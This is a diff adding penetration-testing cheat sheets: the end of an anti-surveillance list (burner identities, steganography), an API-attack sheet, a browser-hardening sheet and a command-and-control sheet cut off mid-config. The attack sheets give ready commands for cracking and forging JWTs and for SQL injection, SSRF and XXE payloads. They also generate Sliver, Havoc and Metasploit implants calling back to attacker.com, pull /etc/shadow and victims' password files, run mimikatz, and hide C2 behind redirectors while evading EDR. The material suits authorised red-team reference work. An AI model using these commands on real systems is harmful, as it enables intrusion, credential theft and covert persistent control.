+# Bitcoin (with mixing): CoinJoin, Wasabi Wallet
+
+# Privacy-focused debit cards
+# Privacy.com (virtual cards)
+# Revolut (disposable virtual cards)
+
+# Gift cards (pseudo-anonymous)
+# Buy with cash
+# Use for online purchases
+
+# ============================================================================
+# DIGITAL ASSISTANT PRIVACY
+# ============================================================================
+
+# Disable voice assistants
+# Alexa: Mute button, unplug when not in use
+# Google Home: Mute button, disable voice match
+# Siri: Settings → Siri & Search → Disable
+
+# Delete voice recordings
+# Amazon: Alexa Privacy → Review Voice History → Delete
+# Google: myactivity.google.com → Voice & Audio → Delete
+
+# Self-hosted alternatives
+# Mycroft (open source): https://mycroft.ai/
+# Rhasspy (privacy-first): https://rhasspy.readthedocs.io/
+
+# ============================================================================
+# IOT DEVICE HARDENING
+# ============================================================================
+
+# IoT risks
+# Cameras, smart TVs, thermostats, lights = surveillance devices
+
+# Network segmentation
+# Put IoT on separate VLAN/network
+# Block internet access when not needed
+
+# Change default passwords
+# Use strong unique passwords
+# Disable UPnP
+
+# Disable unnecessary features
+# Microphones, cameras (if not needed)
+# Cloud connectivity (use local control)
+
+# Pi-hole for IoT blocking
+# Block telemetry/analytics domains
+
+# ============================================================================
+# COUNTER-SURVEILLANCE DETECTION
+# ============================================================================
+
+# Physical surveillance detection
+# Multiple passes (vary route)
+# Use reflections (windows, mirrors)
+# Note suspicious people/vehicles
+# Sudden stops/direction changes
+
+# Digital surveillance indicators
+# Battery draining faster (spyware)
+# Phone hot when idle (background processes)
+# Unusual data usage (exfiltration)
+# Strange noises on calls
+# Unexpected reboots
+
+# Network surveillance detection
+# Monitor network connections
+sudo netstat -tulpn
+
+# Check for unusual processes
+ps aux | grep -v grep
+
+# Check DNS queries
+sudo tcpdump -i any port 53
+
+# ============================================================================
+# BURNER DEVICES & IDENTITIES
+# ============================================================================
+
+# Burner phone (for high-threat scenarios)
+# Prepaid, cash-purchased
+# No personal info linked
+# Disposable after use
+
+# Burner laptop
+# Fresh OS install (Tails, Linux Live USB)
+# No personal accounts logged in
+# Factory reset after use
+
+# Burner identity
+# Separate email (Tutanota, ProtonMail)
+# Separate phone number (Burner app, Hushed)
+# Separate payment method (cash, gift cards)
+# Never mix with real identity
+
+# ============================================================================
+# DEAD DROPS & COVERT COMMUNICATION
+# ============================================================================
+
+# Dead drop (physical)
+# Leave data in agreed location
+# Retrieve later, no direct contact
+
+# Digital dead drop
+# Upload to cloud, share credentials separately
+# OnionShare (Tor hidden service)
+
+# Steganography (hidden messages)
+# Hide data in images
+steghide embed -cf image.jpg -ef secret.txt
+
+# Extract hidden data
+steghide extract -sf image.jpg
+
+# ============================================================================
+# ANTI-SURVEILLANCE CHECKLIST
+# ============================================================================
+
+# Daily
+# [ ] Use VPN/Tor for sensitive browsing
+# [ ] Airplane mode when not using phone
+# [ ] Cover webcam when not in use
+
+# Weekly
+# [ ] Clear browser cookies/history
+# [ ] Review app permissions
+# [ ] Check unusual battery drain
+
+# Monthly
+# [ ] Review social media privacy settings
+# [ ] Check data broker sites (opt out)
+# [ ] Audit connected devices
+
+# Quarterly
+# [ ] Rotate burner identities
+# [ ] Review surveillance threat model
+# [ ] Update anti-surveillance measures
+
+# ============================================================================
+# LEGAL CONSIDERATIONS
+# ============================================================================
+
+# Know your rights
+# Right to privacy (varies by country)
+# Right to refuse searches (with exceptions)
+# Right to remain silent
+
+# Recording laws
+# One-party vs two-party consent
+# Know your jurisdiction
+
+# Counter-surveillance legality
+# Generally legal to protect your own privacy
+# Interfering with investigations may be illegal
+# Consult lawyer if unsure
+
+# ============================================================================
+# RESOURCES
+# ============================================================================
+
+# Privacy guides
+# EFF Surveillance Self-Defense: https://ssd.eff.org/
+# Privacy Guides: https://www.privacyguides.org/
+# PRISM Break: https://prism-break.org/
+
+# Books
+# "Permanent Record" by Edward Snowden
+# "No Place to Hide" by Glenn Greenwald
+# "The Art of Invisibility" by Kevin Mitnick
+
+# Tools
+# OSINT tools (to see your exposure)
+# Burner phone apps: Burner, Hushed
+# Encrypted communication: Signal, Element
+
+# Communities
+# r/privacy (Reddit)
+# r/privacytoolsIO (Reddit)
+# PrivacyGuides forum
+

api-testing.cheat

@@ -0,0 +1,231 @@
+% api-testing, api, rest, graphql
+
+# ============================================================================
+# KITERUNNER - API Endpoint Discovery
+# ============================================================================
+
+# Scan for API endpoints
+kr scan <target_url> -w <wordlist>
+$ target_url: echo -e "https://api.target.com\nhttps://target.com/api"
+$ wordlist: echo -e "/usr/share/wordlists/api-routes.txt\n/opt/SecLists/Discovery/Web-Content/api/api-endpoints.txt"
+
+# Scan with specific HTTP methods
+kr scan <target_url> -w <wordlist> -x <methods>
+$ target_url: echo "https://api.target.com"
+$ wordlist: echo "/usr/share/wordlists/api-routes.txt"
+$ methods: echo -e "GET,POST\nGET,POST,PUT,DELETE"
+
+# Brute force API with parameters
+kr brute <target_url> -w <wordlist>
+$ target_url: echo "https://api.target.com"
+$ wordlist: echo "/usr/share/wordlists/parameters.txt"
+
+# Scan with authentication token
+kr scan <target_url> -w <wordlist> -H "Authorization: Bearer <token>"
+$ target_url: echo "https://api.target.com"
+$ wordlist: echo "/usr/share/wordlists/api-routes.txt"
+$ token: echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
+
+# Output results to file
+kr scan <target_url> -w <wordlist> -o <output_file>
+$ target_url: echo "https://api.target.com"
+$ wordlist: echo "/usr/share/wordlists/api-routes.txt"
+$ output_file: echo "kiterunner-results.txt"
+
+# ============================================================================
+# JWT_TOOL - JWT Manipulation
+# ============================================================================
+
+# Decode JWT token
+jwt_tool <token>
+$ token: echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.dozjgNryP4J3jVmNHl0w5N_XgL0n3I9PlFUP0THsR8U"
+
+# Crack JWT secret (brute force)
+jwt_tool <token> -C -d <wordlist>
+$ token: echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
+$ wordlist: echo -e "/usr/share/wordlists/rockyou.txt\n/usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt"
+
+# Test for algorithm confusion (change alg to "none")
+jwt_tool <token> -X a
+$ token: echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
+
+# Test for key confusion (RS256 → HS256)
+jwt_tool <token> -X k -pk <public_key_file>
+$ token: echo "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."
+$ public_key_file: echo -e "public.pem\njwks_public.pem"
+
+# Inject new claims into JWT
+jwt_tool <token> -I -pc <claim_name> -pv <claim_value>
+$ token: echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
+$ claim_name: echo -e "admin\nrole\nuser_id"
+$ claim_value: echo -e "true\nadministrator\n1"
+
+# Test JWT against target with automated exploits
+jwt_tool <token> -t <target_url> -rh "Authorization: Bearer <token>" -M at
+$ token: echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
+$ target_url: echo "https://api.target.com/user/profile"
+
+# Generate new JWT with custom payload
+jwt_tool -S <algorithm> -p <payload> -k <secret>
+$ algorithm: echo -e "hs256\nhs384\nhs512"
+$ payload: echo '{"sub":"1234567890","name":"Admin","admin":true}'
+$ secret: echo "supersecret"
+
+# ============================================================================
+# ARJUN - Parameter Discovery
+# ============================================================================
+
+# Discover hidden GET parameters
+arjun -u <url>
+$ url: echo -e "https://target.com/api/user\nhttps://api.target.com/endpoint"
+
+# Discover POST parameters
+arjun -u <url> -m POST
+$ url: echo "https://target.com/api/login"
+
+# Use custom wordlist
+arjun -u <url> -w <wordlist>
+$ url: echo "https://target.com/api/user"
+$ wordlist: echo -e "/usr/share/wordlists/params.txt\n/opt/SecLists/Discovery/Web-Content/burp-parameter-names.txt"
+
+# Scan multiple URLs from file
+arjun -i <urls_file>
+$ urls_file: echo -e "urls.txt\ntargets.txt"
+
+# Set custom headers (authentication)
+arjun -u <url> -H "Authorization: Bearer <token>"
+$ url: echo "https://api.target.com/endpoint"
+$ token: echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
+
+# Include specific parameters in requests
+arjun -u <url> --include <params>
+$ url: echo "https://target.com/api/search"
+$ params: echo -e "api_key=12345\nuser_id=1"
+
+# ============================================================================
+# POSTMAN / INSOMNIA - Manual API Testing
+# ============================================================================
+
+# Export Postman collection
+# File → Export → Collection v2.1 → Save as JSON
+
+# Import OpenAPI/Swagger spec into Postman
+# Import → Link/File → Paste Swagger URL or upload swagger.json
+
+# Test API authentication
+# Headers → Add: Authorization: Bearer <token>
+# Or: Authorization: Basic <base64_encoded_creds>
+
+# Test rate limiting
+# Send same request multiple times rapidly
+# Check for 429 Too Many Requests response
+
+# Test IDOR (Insecure Direct Object Reference)
+# Change user_id or object_id parameters
+# Try accessing other users' resources
+
+# ============================================================================
+# GRAPHQL TESTING
+# ============================================================================
+
+# Introspection query (enumerate schema)
+curl -X POST <graphql_endpoint> \
+  -H "Content-Type: application/json" \
+  -d '{"query": "{ __schema { types { name fields { name } } } }"}'
+$ graphql_endpoint: echo "https://target.com/graphql"
+
+# Query all users (if introspection reveals "users" query)
+curl -X POST <graphql_endpoint> \
+  -H "Content-Type: application/json" \
+  -d '{"query": "{ users { id username email } }"}'
+$ graphql_endpoint: echo "https://target.com/graphql"
+
+# Mutation to create/modify data
+curl -X POST <graphql_endpoint> \
+  -H "Content-Type: application/json" \
+  -d '{"query": "mutation { createUser(username: \"attacker\", email: \"attacker@evil.com\") { id } }"}'
+$ graphql_endpoint: echo "https://target.com/graphql"
+
+# GraphQL batching attack (query multiple resources)
+curl -X POST <graphql_endpoint> \
+  -H "Content-Type: application/json" \
+  -d '[{"query": "{ user(id: 1) { email } }"}, {"query": "{ user(id: 2) { email } }"}]'
+$ graphql_endpoint: echo "https://target.com/graphql"
+
+# ============================================================================
+# COMMON API VULNERABILITIES
+# ============================================================================
+
+# IDOR (Insecure Direct Object Reference)
+# GET /api/user/123 → Try /api/user/124, /api/user/1, etc.
+
+# Mass Assignment
+# POST /api/user with {"username": "test", "admin": true}
+
+# Excessive Data Exposure
+# GET /api/users returns sensitive fields (passwords, tokens)
+
+# Lack of Rate Limiting
+# Brute force endpoints without throttling
+
+# Broken Authentication
+# Weak JWT secrets, algorithm confusion, no token expiration
+
+# Injection Flaws
+# SQL injection: /api/search?q='; DROP TABLE users;--
+# NoSQL injection: {"username": {"$ne": null}, "password": {"$ne": null}}
+
+# SSRF (Server-Side Request Forgery)
+# POST /api/fetch with {"url": "http://169.254.169.254/latest/meta-data/"}
+
+# XML External Entity (XXE)
+# If API accepts XML: inject <!ENTITY xxe SYSTEM "file:///etc/passwd">
+
+# ============================================================================
+# FUZZING API ENDPOINTS
+# ============================================================================
+
+# FFUF for API fuzzing
+ffuf -u <base_url>/FUZZ -w <wordlist> -mc 200,201,204
+$ base_url: echo "https://api.target.com/v1"
+$ wordlist: echo "/usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt"
+
+# Fuzz with HTTP methods
+ffuf -u <url> -w <wordlist> -X <method>
+$ url: echo "https://api.target.com/endpoint"
+$ wordlist: echo "/usr/share/wordlists/params.txt"
+$ method: echo -e "POST\nPUT\nDELETE\nPATCH"
+
+# Fuzz POST data
+ffuf -u <url> -w <wordlist> -X POST -d "FUZZ=value" -H "Content-Type: application/json"
+$ url: echo "https://api.target.com/login"
+$ wordlist: echo "/usr/share/wordlists/params.txt"
+
+# ============================================================================
+# AUTHENTICATION BYPASS TECHNIQUES
+# ============================================================================
+
+# JWT "none" algorithm
+# Change alg to "none" and remove signature
+
+# SQL injection in login
+# username: admin' OR '1'='1'--
+# password: anything
+
+# GraphQL authentication bypass
+# Query without authentication if introspection is open
+
+# Parameter pollution
+# /api/user?id=1&id=2 (may bypass checks)
+
+# HTTP verb tampering
+# If GET /api/admin blocked, try POST /api/admin
+
+# ============================================================================
+# RATE LIMIT BYPASS
+# ============================================================================
+
+# Rotate IP addresses (use proxies)
+# Change User-Agent headers
+# Add random parameters: ?cache_buster=<random>
+# Use X-Forwarded-For header spoofing

browser-hardening.cheat

@@ -0,0 +1,396 @@
+% browser, firefox, chrome, privacy, hardening, fingerprinting
+
+# ============================================================================
+# BROWSER SELECTION & INSTALLATION
+# ============================================================================
+
+# Recommended privacy browsers (in order)
+# 1. LibreWolf (Firefox fork, privacy-hardened by default)
+# 2. Mullvad Browser (Tor Browser without Tor network)
+# 3. Firefox (with manual hardening)
+# 4. Brave (Chromium-based alternative)
+
+# Install LibreWolf (Debian/Ubuntu)
+sudo apt install extrepo
+sudo extrepo enable librewolf
+sudo apt update && sudo apt install librewolf
+
+# Install Firefox from Mozilla (not Snap)
+sudo add-apt-repository ppa:mozillateam/ppa
+sudo apt update && sudo apt install firefox
+
+# Install Brave
+sudo curl -fsSLo /usr/share/keyrings/brave-browser-archive-keyring.gpg https://brave-browser-apt-release.s3.brave.com/brave-browser-archive-keyring.gpg
+echo "deb [signed-by=/usr/share/keyrings/brave-browser-archive-keyring.gpg] https://brave-browser-apt-release.s3.brave.com/ stable main" | sudo tee /etc/apt/sources.list.d/brave-browser-release.list
+sudo apt update && sudo apt install brave-browser
+
+# Install Mullvad Browser
+wget --content-disposition https://mullvad.net/en/download/browser/linux-x86_64/latest
+
+# ============================================================================
+# FIREFOX HARDENING (about:config)
+# ============================================================================
+
+# Access Firefox config
+# Type in address bar: about:config
+
+# Privacy settings (search and set these)
+privacy.resistFingerprinting = true
+privacy.trackingprotection.enabled = true
+privacy.trackingprotection.socialtracking.enabled = true
+privacy.firstparty.isolate = true
+privacy.donottrackheader.enabled = true
+
+# DNS over HTTPS (DoH)
+network.trr.mode = 2
+network.trr.uri = https://mozilla.cloudflare-dns.com/dns-query
+
+# WebRTC IP leak prevention
+media.peerconnection.enabled = false
+media.peerconnection.ice.default_address_only = true
+
+# Disable telemetry
+toolkit.telemetry.enabled = false
+toolkit.telemetry.unified = false
+datareporting.healthreport.uploadEnabled = false
+datareporting.policy.dataSubmissionEnabled = false
+
+# Disable Pocket
+extensions.pocket.enabled = false
+
+# Disable prefetching
+network.dns.disablePrefetch = true
+network.prefetch-next = false
+
+# HTTPS-only mode
+dom.security.https_only_mode = true
+dom.security.https_only_mode_ever_enabled = true
+
+# Disable geolocation
+geo.enabled = false
+
+# Disable WebGL (fingerprinting vector)
+webgl.disabled = true
+
+# Disable canvas fingerprinting
+privacy.resistFingerprinting.block_mozAddonManager = true
+
+# ============================================================================
+# FIREFOX EXTENSIONS (ESSENTIAL)
+# ============================================================================
+
+# uBlock Origin (ad/tracker blocking)
+# Install: https://addons.mozilla.org/firefox/addon/ublock-origin/
+
+# Privacy Badger (EFF tracker blocker)
+# Install: https://addons.mozilla.org/firefox/addon/privacy-badger17/
+
+# HTTPS Everywhere (force HTTPS)
+# Install: https://addons.mozilla.org/firefox/addon/https-everywhere/
+
+# Decentraleyes (local CDN emulation)
+# Install: https://addons.mozilla.org/firefox/addon/decentraleyes/
+
+# NoScript (JavaScript control)
+# Install: https://addons.mozilla.org/firefox/addon/noscript/
+
+# ClearURLs (remove tracking parameters)
+# Install: https://addons.mozilla.org/firefox/addon/clearurls/
+
+# Cookie AutoDelete (auto-delete cookies)
+# Install: https://addons.mozilla.org/firefox/addon/cookie-autodelete/
+
+# Temporary Containers (isolate sites)
+# Install: https://addons.mozilla.org/firefox/addon/temporary-containers/
+
+# ============================================================================
+# FIREFOX ADVANCED HARDENING
+# ============================================================================
+
+# User.js hardening (arkenfox template)
+cd ~/.mozilla/firefox/*.default-release/
+wget https://raw.githubusercontent.com/arkenfox/user.js/master/user.js
+
+# Customize user.js overrides
+# Create user-overrides.js for site-specific settings
+
+# Apply updates to user.js
+cd ~/.mozilla/firefox/*.default-release/
+wget https://raw.githubusercontent.com/arkenfox/user.js/master/updater.sh
+bash updater.sh
+
+# ============================================================================
+# CHROMIUM/BRAVE HARDENING
+# ============================================================================
+
+# Chrome/Brave flags (chrome://flags)
+# Enable: Strict site isolation
+# Enable: Block third-party cookies
+# Disable: WebRTC IP handling
+
+# Brave Shield settings
+# Settings → Shields → Trackers & ads blocking: Aggressive
+# Settings → Shields → Block fingerprinting: Strict
+# Settings → Shields → Block cookies: Block third-party cookies
+
+# Chrome extensions (same as Firefox)
+# uBlock Origin, Privacy Badger, HTTPS Everywhere, Decentraleyes
+
+# ============================================================================
+# SEARCH ENGINE CONFIGURATION
+# ============================================================================
+
+# Privacy-respecting search engines
+# DuckDuckGo: https://duckduckgo.com
+# Startpage: https://startpage.com
+# Searx instances: https://searx.space
+# Brave Search: https://search.brave.com
+
+# Set custom search engine in Firefox
+# Settings → Search → Default Search Engine
+
+# Add Searx instance
+# Settings → Search → Find More Search Engines → Add manually
+
+# ============================================================================
+# FINGERPRINTING TESTS
+# ============================================================================
+
+# Test browser fingerprint uniqueness
+# Cover Your Tracks (EFF): https://coveryourtracks.eff.org/
+# AmIUnique: https://amiunique.org/
+# BrowserLeaks: https://browserleaks.com/
+
+# Test WebRTC leak
+# WebRTC Leak Test: https://browserleaks.com/webrtc
+
+# Test DNS leak
+# DNS Leak Test: https://dnsleaktest.com/
+
+# ============================================================================
+# PRIVACY-FOCUSED PROFILES
+# ============================================================================
+
+# Firefox Multi-Account Containers
+# Install: https://addons.mozilla.org/firefox/addon/multi-account-containers/
+
+# Create separate profiles for different activities
+# Personal, Work, Shopping, Banking, Anonymous
+
+# Firefox profile manager
+firefox -ProfileManager
+
+# Launch with specific profile
+firefox -P "ProfileName"
+
+# ============================================================================
+# COOKIE & STORAGE MANAGEMENT
+# ============================================================================
+
+# Cookie settings (Firefox)
+# Settings → Privacy & Security → Cookies and Site Data
+# Delete cookies and site data when Firefox is closed
+
+# Clear history on exit
+# Settings → Privacy & Security → History → Clear history when Firefox closes
+# Select: Browsing & download history, Cookies, Cache, Active logins
+
+# Storage inspection (Firefox)
+# about:preferences#privacy → Cookies and Site Data → Manage Data
+
+# Clear all data
+# CTRL+SHIFT+DEL → Select "Everything" → Clear Now
+
+# ============================================================================
+# USER-AGENT SPOOFING
+# ============================================================================
+
+# User-Agent Switcher extension
+# Install: https://addons.mozilla.org/firefox/addon/uaswitcher/
+
+# Common user agents to rotate
+Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
+
+# ============================================================================
+# SAFE BROWSING PRACTICES
+# ============================================================================
+
+# Always use HTTPS (check for padlock)
+# Verify SSL certificates (click padlock → Connection is secure)
+# Check URL for typos (phishing prevention)
+# Never save passwords in browser (use password manager)
+# Use separate browser for banking/sensitive accounts
+# Never use public WiFi without VPN
+# Clear cookies/cache regularly
+# Disable auto-fill for forms
+# Review browser permissions regularly (camera, mic, location)
+
+# ============================================================================
+# DISABLING BROWSER TELEMETRY
+# ============================================================================
+
+# Firefox telemetry (about:config)
+toolkit.telemetry.enabled = false
+toolkit.telemetry.unified = false
+toolkit.telemetry.archive.enabled = false
+datareporting.healthreport.uploadEnabled = false
+datareporting.policy.dataSubmissionEnabled = false
+browser.newtabpage.activity-stream.feeds.telemetry = false
+browser.ping-centre.telemetry = false
+
+# Brave telemetry
+# Settings → Privacy and security → Usage data → Disable all
+
+# Chrome telemetry
+# Settings → Privacy and security → Sync and Google services → Disable all
+
+# ============================================================================
+# CONTAINER ISOLATION (FIREFOX)
+# ============================================================================
+
+# Enable First Party Isolation
+privacy.firstparty.isolate = true
+
+# Use Multi-Account Containers
+# Separate: Shopping, Social Media, Banking, Work, Personal
+
+# Configure container rules
+# Assign domains to always open in specific containers
+# Example: facebook.com → Social Media container
+
+# Temporary Containers (auto-delete)
+# Every new tab in isolated container
+# Cookies/storage deleted on tab close
+
+# ============================================================================
+# PDF VIEWER HARDENING
+# ============================================================================
+
+# Disable JavaScript in PDF viewer (Firefox)
+pdfjs.enableScripting = false
+
+# Use external PDF viewer (more secure)
+# Settings → Applications → PDF → Use system default
+
+# Alternative: Send to external viewer
+xdg-mime default evince.desktop application/pdf
+
+# ============================================================================
+# ADDITIONAL SECURITY MEASURES
+# ============================================================================
+
+# Disable WebAssembly (potential exploit vector)
+javascript.options.wasm = false
+
+# Disable WebGL (fingerprinting + GPU exploits)
+webgl.disabled = true
+
+# Disable battery status API (tracking)
+dom.battery.enabled = false
+
+# Disable gamepad API (fingerprinting)
+dom.gamepad.enabled = false
+
+# Disable clipboard API access
+dom.event.clipboardevents.enabled = false
+
+# ============================================================================
+# SECURE BROWSER PROFILES
+# ============================================================================
+
+# Banking Profile (maximum security)
+# - No extensions (except HTTPS Everywhere)
+# - JavaScript required (for banking sites)
+# - Cookies allowed for session only
+# - Never save passwords
+# - Clear all data on exit
+
+# Anonymous Profile (maximum privacy)
+# - Tor Browser or Mullvad Browser
+# - NoScript enabled (block all JS by default)
+# - No cookies
+# - No WebRTC
+# - Resist fingerprinting
+
+# Daily Driver Profile (balanced)
+# - uBlock Origin, Privacy Badger, Decentraleyes
+# - Cookie AutoDelete
+# - HTTPS-only mode
+# - DoH enabled
+
+# ============================================================================
+# BROWSER UPDATE POLICY
+# ============================================================================
+
+# Always keep browser updated (critical security patches)
+# Enable automatic updates
+
+# Firefox updates
+# Settings → General → Firefox Updates → Automatically install updates
+
+# Check current version
+firefox --version
+
+# Manual update check
+# Settings → Help → About Firefox
+
+# ============================================================================
+# CONTENT BLOCKING LISTS
+# ============================================================================
+
+# uBlock Origin filter lists
+# Enable: Built-in, EasyList, EasyPrivacy, Malware domains, Annoyances
+
+# Additional lists
+# - Dan Pollock's hosts file
+# - Peter Lowe's Ad server list
+# - AdGuard filters
+
+# Update filters regularly
+# uBlock Origin dashboard → Filter lists → Update now
+
+# ============================================================================
+# TESTING HARDENING EFFECTIVENESS
+# ============================================================================
+
+# Browser fingerprinting test
+https://coveryourtracks.eff.org/
+
+# DNS leak test
+https://dnsleaktest.com/
+
+# WebRTC leak test
+https://browserleaks.com/webrtc
+
+# IP leak test (when using VPN)
+https://ipleak.net/
+
+# SSL/TLS test
+https://www.ssllabs.com/ssltest/viewMyClient.html
+
+# Check enabled features
+https://browserleaks.com/javascript
+
+# ============================================================================
+# TROUBLESHOOTING
+# ============================================================================
+
+# Site broken after hardening
+# Disable privacy.resistFingerprinting temporarily
+# Allow JavaScript for specific site (NoScript)
+# Allow third-party cookies for specific site
+
+# Can't login to sites
+# Check if cookies are blocked
+# Disable tracking protection for specific site
+# Allow localStorage
+
+# Videos won't play
+# Re-enable WebGL temporarily
+# Allow DRM content (Settings → Privacy → DRM Content)
+
+# Reset Firefox to defaults (if needed)
+# about:support → Refresh Firefox
+

c2-frameworks.cheat

@@ -0,0 +1,278 @@
+% c2, command-and-control, post-exploitation
+
+# ============================================================================
+# SLIVER C2 Framework
+# ============================================================================
+
+# Start Sliver server
+sliver-server
+
+# Start Sliver client
+sliver
+
+# Generate Windows implant
+generate --http <callback_url> --save <output_file> --os windows --arch amd64
+$ callback_url: echo -e "http://192.168.1.50:443\nhttps://attacker.com"
+$ output_file: echo -e "/tmp/agent.exe\n/tmp/implant.exe"
+
+# Generate Linux implant
+generate --http <callback_url> --save <output_file> --os linux --arch amd64
+$ callback_url: echo "http://192.168.1.50:443"
+$ output_file: echo "/tmp/agent"
+
+# Start HTTP listener
+http --lport <port>
+$ port: echo -e "443\n8080\n80"
+
+# Start HTTPS listener
+https --lport <port> --cert <cert_file> --key <key_file>
+$ port: echo -e "443\n8443"
+$ cert_file: echo "server.crt"
+$ key_file: echo "server.key"
+
+# List active sessions
+sessions
+
+# Interact with session
+use <session_id>
+$ session_id: echo -e "1\n2\n3"
+
+# Execute command on target
+shell <command>
+$ command: echo -e "whoami\nipconfig\nps"
+
+# Upload file to target
+upload <local_file> <remote_path>
+$ local_file: echo -e "/tmp/payload.exe\n/opt/tools/script.ps1"
+$ remote_path: echo -e "C:\\Windows\\Temp\\payload.exe\n/tmp/script.sh"
+
+# Download file from target
+download <remote_path> <local_file>
+$ remote_path: echo -e "C:\\Users\\victim\\Desktop\\passwords.txt\n/etc/shadow"
+$ local_file: echo "/tmp/downloaded.txt"
+
+# ============================================================================
+# HAVOC C2 Framework
+# ============================================================================
+
+# Start Havoc teamserver
+./havoc server --profile <profile_name>
+$ profile_name: echo -e "default\ncustom"
+
+# Start Havoc client
+./havoc client
+
+# Create listener
+listener add --name <listener_name> --port <port>
+$ listener_name: echo -e "http-listener\nhttps-listener"
+$ port: echo -e "80\n443\n8080"
+
+# Generate payload
+payload generate --listener <listener_name> --format <format> --output <output_file>
+$ listener_name: echo "http-listener"
+$ format: echo -e "exe\nshellcode\npowershell"
+$ output_file: echo -e "/tmp/agent.exe\n/tmp/payload.bin"
+
+# Interact with demon (agent)
+demon interact <demon_id>
+$ demon_id: echo -e "1\n2\n3"
+
+# Execute command
+demon shell <command>
+$ command: echo -e "whoami\nnet user\nipconfig"
+
+# ============================================================================
+# COVENANT C2 Framework (.NET)
+# ============================================================================
+
+# Start Covenant server
+dotnet run --project /opt/Covenant/Covenant
+
+# Access web interface
+# Browse to: https://localhost:7443
+
+# Create HTTP listener (via web UI)
+# Listeners → Create → HTTP
+
+# Generate Grunt (agent) stager
+# Launchers → Binary → Generate
+
+# Interact with Grunt
+# Grunts → Select Grunt → Interact
+
+# Execute command (in Grunt console)
+Shell <command>
+$ command: echo -e "whoami\nnet user\nipconfig"
+
+# Upload file
+Upload <local_file>
+$ local_file: echo "/tmp/payload.exe"
+
+# Download file
+Download <remote_path>
+$ remote_path: echo "C:\\Users\\victim\\Documents\\sensitive.docx"
+
+# ============================================================================
+# METASPLOIT FRAMEWORK (C2 Mode)
+# ============================================================================
+
+# Start Metasploit console
+msfconsole
+
+# Use multi/handler for catching reverse shells
+use exploit/multi/handler
+
+# Set payload
+set payload <payload_type>
+$ payload_type: echo -e "windows/meterpreter/reverse_tcp\nlinux/x64/meterpreter/reverse_tcp\nwindows/x64/meterpreter/reverse_https"
+
+# Set LHOST and LPORT
+set LHOST <attacker_ip>
+set LPORT <port>
+$ attacker_ip: echo -e "192.168.1.50\n10.0.0.50"
+$ port: echo -e "4444\n443\n8080"
+
+# Run handler
+exploit -j
+
+# List active sessions
+sessions -l
+
+# Interact with session
+sessions -i <session_id>
+$ session_id: echo -e "1\n2\n3"
+
+# Background session
+background
+
+# Generate standalone payload
+msfvenom -p <payload> LHOST=<ip> LPORT=<port> -f <format> -o <output>
+$ payload: echo -e "windows/meterpreter/reverse_tcp\nlinux/x64/shell_reverse_tcp"
+$ ip: echo "192.168.1.50"
+$ port: echo -e "4444\n443"
+$ format: echo -e "exe\nelf\npsh"
+$ output: echo -e "/tmp/payload.exe\n/tmp/shell.elf"
+
+# ============================================================================
+# MYTHIC C2 Framework
+# ============================================================================
+
+# Start Mythic server
+./mythic-cli start
+
+# Access web interface
+# Browse to: https://127.0.0.1:7443
+
+# Install agent (Athena, Apollo, Apfell, etc.)
+./mythic-cli install github <agent_repo_url>
+$ agent_repo_url: echo -e "https://github.com/MythicAgents/Apollo\nhttps://github.com/MythicAgents/Athena"
+
+# Create payload profile (via web UI)
+# Payloads → Generate New Payload → Select Agent → Configure
+
+# Start HTTP profile
+# C2 Profiles → HTTP → Start
+
+# Interact with callback
+# Active Callbacks → Select Callback → Task
+
+# Execute command
+shell <command>
+$ command: echo -e "whoami\nps\nls"
+
+# Upload file
+upload <local_file>
+$ local_file: echo "/tmp/payload.exe"
+
+# Download file
+download <remote_path>
+$ remote_path: echo "C:\\Users\\victim\\Desktop\\passwords.txt"
+
+# ============================================================================
+# POWERSHELL EMPIRE / STARKILLER
+# ============================================================================
+
+# Start Empire server
+./empire --rest
+
+# Start Starkiller UI
+starkiller
+
+# Create listener (via CLI)
+listeners
+uselistener http
+set Host <callback_url>
+set Port <port>
+execute
+$ callback_url: echo -e "http://192.168.1.50\nhttp://attacker.com"
+$ port: echo -e "80\n443\n8080"
+
+# Generate stager
+usestager <stager_type>
+set Listener <listener_name>
+execute
+$ stager_type: echo -e "multi/launcher\nwindows/launcher_bat\nwindows/macro"
+$ listener_name: echo "http"
+
+# Interact with agent
+agents
+interact <agent_name>
+$ agent_name: echo -e "AGENT1\nLKJHGFD"
+
+# Execute command
+shell <command>
+$ command: echo -e "whoami\nnet user\nipconfig"
+
+# Use module
+usemodule <module_path>
+$ module_path: echo -e "powershell/collection/screenshot\npowershell/credentials/mimikatz/logonpasswords"
+
+# ============================================================================
+# C2 BEST PRACTICES
+# ============================================================================
+
+# Use encrypted HTTPS channels
+# Callback over common ports (80, 443, 8080)
+# Implement jitter and sleep intervals
+# Use domain fronting when possible
+# Rotate infrastructure regularly
+# Use redirectors (Apache mod_rewrite, Nginx reverse proxy)
+# Implement killdate/killswitch in agents
+# Use process injection and PPID spoofing
+# Avoid triggering AV/EDR signatures
+
+# ============================================================================
+# INFRASTRUCTURE SETUP
+# ============================================================================
+
+# Apache mod_rewrite redirector for domain fronting
+<VirtualHost *:443>
+    ServerName legit-domain.com
+    SSLEngine On
+    SSLProxyEngine On
+    SSLCertificateFile /path/to/cert.crt
+    SSLCertificateKeyFile /path/to/private.key
+
+    RewriteEngine On
+    RewriteCond %{REQUEST_URI} ^/valid-uri-path/.*$
+    RewriteRule ^.*$ https://actual-c2-server.com%{REQUEST_URI} [P,L]
+
+    RewriteRule ^.*$ https://benign-site.com%{REQUEST_URI} [P,L]
+</VirtualHost>
+
+# Nginx reverse proxy redirector
+server {
